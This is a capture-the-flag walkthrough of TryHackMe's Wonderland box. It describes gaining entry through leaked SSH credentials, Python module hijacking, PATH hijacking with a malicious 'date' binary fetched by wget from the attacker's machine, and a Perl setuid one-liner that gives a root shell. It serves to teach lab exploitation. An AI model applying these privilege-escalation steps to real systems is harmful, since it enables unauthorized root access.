Wonderland — TryHackMe
Exploiting Search Order Hijacking and Hijacking Imported Python Modules
NOTE: IF YOU HAVE NOT TRIED THE WONDERLAND CHALLENGE FROM TRYHACKME, I RECOMMEND YOU TRY IT OUT ON YOUR OWN BEFORE READING THIS WALKTHROUGH AS IT IS A VERY FUN CTF BOX!
Running Nmap shows us that the box has two open ports: 22 and 80. I like to run an all ports scan before running a scan for version enumeration to make the scanning process more efficient.
HTTP Server Enumeration
Knowing that SSH is notoriously known for being secure and also confirming that there are no known exploits for version 7.6p1 of SSH, directed my attention to the only other port open, port 80, the Golang HTTP server running on the box. Visiting the main page, which had a quote and an image of a rabbit from Alice in Wonderland, was not very useful so I went on to perform subdirectory brute-forcing.
Directory Discovery with Gobuster
I began brute-forcing subdirectories for the root directory using Gobuster. Here are the results for the root directory:
Visiting the /img directory contained the images that were being hosted on the server and nothing more. The /poem directory contained nothing but a static HTML page with exactly what the directory says it would contain, a poem — The JabberWocky.
So, the only directory left to visit was the /r directory. This directory also contained a static HTML page but the message contained within it was a bit more motivating:
Clearly, the /r directory was the path to go down so I began my second subdirectory brute-forcing scan with Gobuster on the /r directory. Here are the results:
The only discovered directory was /a. Visiting the /a directory also contained a static HTML page:
At this moment, I remembered the picture of the rabbit on the main page, and realized the directory letters discovered so far were appropriately named “r” and “a”, the first two letters of the word “rabbit”. So, instead of performing another subdirectory brute-force scan, I simply tried to fill in the directory letters to spell the word rabbit and this page was ALSO an HTML page BUT viewing the source with CTRL+u revealed something with a pattern I am familiar with from other CTF’s challenges — it contained the SSH credentials for the “alice” account on the machine in the format of, `username:password`:
On The Machine
Getting a Shell
The credentials “alice:HowDothTheLittleCrocodileImproveHisShiningTail” worked for SSH!
Normally, when you get a shell onto a machine in a CTF challenge you expect to get the user.txt file containing the flag located within the user’s home directory but unluckily there was only a root.txt file and a Python file called “walrus_and_the_carpenter.py”.
The root.txt file, of course, was only accessible by root so nothing there for now. The walrus_and_the_carpenter.py file was also owned by root but upon running the command `sudo -l` and entering alice’s password and I obtained this information:
What the output from the `sudo -l` command tells me is that I can run the file “walrus_and_the_carpenter.py” as the user “rabbit”. To confirm that this user exists within the machine, I viewed the contents of the /etc/passwd file. The contents of the file revealed that the account “rabbit” did exist but also that the accounts “hatter” and “tryhackme” also existed, potentially meaning that we might have to laterally move into one of these accounts to escalate our privileges. Here are the contents of the /etc/passwd file:
So now that we know that we can run the file walrus_and_the_carpenter.py as the user rabbit, we can attempt to abuse these permissions to attempt to get a shell as the user rabbit. First, let’s view the contents of the walrus_and_the_carpenter.py file:
Essentially what the walrus_and_the_carpenter.py file is doing is extracting 10 random lines from the poem within the poem string and printing them out to the console. But the code that immediately caught my attention was the import statement which imports the random.py module. This immediately reminded me that Python attempts to look for a module within the current directory before looking at Python default path for default modules. I created my own malicious random.py module and placed it within the directory that the walrus_and_the_carpenter.py file exists in. Here are the contents of the random.py file I created:
Compromising User Rabbit
The random.py file contains a simple set of instructions that import the os module in order to spawn a Bash shell. Because we are going to be running this file as the user rabbit, the Bash shell should be spawned with the effective user id of the user rabbit. Running the command displayed within the `sudo -l` output,
allows us to gain a shell as the rabbit:
Within the home directory of the user rabbit was the file “teaParty”. Running the file command on the file tells us that it is an ELF 64-bit file with the setuid and setgid bits enabled. Running the file itself prints a set of strings to the console that hints that we’ll be compromising the hatter account next:
After trying to run strings on the teaParty file and discovering that it wasn’t installed I simply tried viewing any contents of the file with the `cat` command and discovered something very useful:
The binary is invoking the date command. This would be an easy exploit because we would simply need to create a binary named date that will actually spawn a Bash shell and tell Bash to execute our date executable file as opposed to the original one. I searched online for a quick C program that I can compile and transfer over to the machine and I chose this program:
Compromising User Hatter
After compiling this file (I called it setuid.c) with the following command on my machine because the machine did not have gcc installed,
gcc setuid.c -o date
I transferred the file over with wget and made it executable,
wget 10.6.19.58/date && chmod +x date
and lastly, I had to export the PATH environment variable to perform Search Order Hijacking so that our date program was guaranteed to run before the default one located at /bin/date:
The export command above modifies the PATH variable such that the current directory, “.”, is the first directory that Bash will look for executables in. After running all the commands above and running the teaParty file again, we successfully compromised the “hatter” account:
Great! We have now successfully moved laterally across three accounts. Navigating the hatter’s home directories and viewing its contents provides us with an obviously lucrative file, passwords.txt:
We now have another potential password, “WhyIsARavenLikeAWritingDesk?”, and because it was found in hatter’s home directory I assumed it was his password so I tried SSHing into his account with the acquired password and it worked:
After performing some more manual enumeration and discovering much I decided to run linpeas.sh, and I came across something that could potentially allow me to escalate my privileges to the root account:
The output above tells us that /usr/bin/perl program had the setuid capability enabled and thus we could potentially use this escalate our user to the root account, if and only if, the user hatter can execute the /usr/bin/perl program. Viewing the permissions on the /usr/bin/perl with the command `ls`:
tells us that the user hatter can run the Perl program and thus we can exploit this configuration. After doing some research I came across this article which contained the Perl command that I used to abuse this capability:
/usr/bin/perl -e ‘use POSIX (setuid); POSIX::setuid(0); exec “/bin/bash”;’
- /usr/bin/perl — the vulnerable Perl program
- -e ‘user POSIX (setuid); POSIX::setuid(0);’ — imports POSIX Perl module to use the setuid function to change effective user id to root user id.
- exec “/bin/bash” — spawn Bash Shell
LET’S GOOOOOOOOOO! We are L337!
We did it! We successfully compromised the root account. This was definitely one of my favorite CTF boxes and I will be creating a write-up for the machine, Looking Glass, which is a sequel to the Wonderland challenge. Thanks for reading.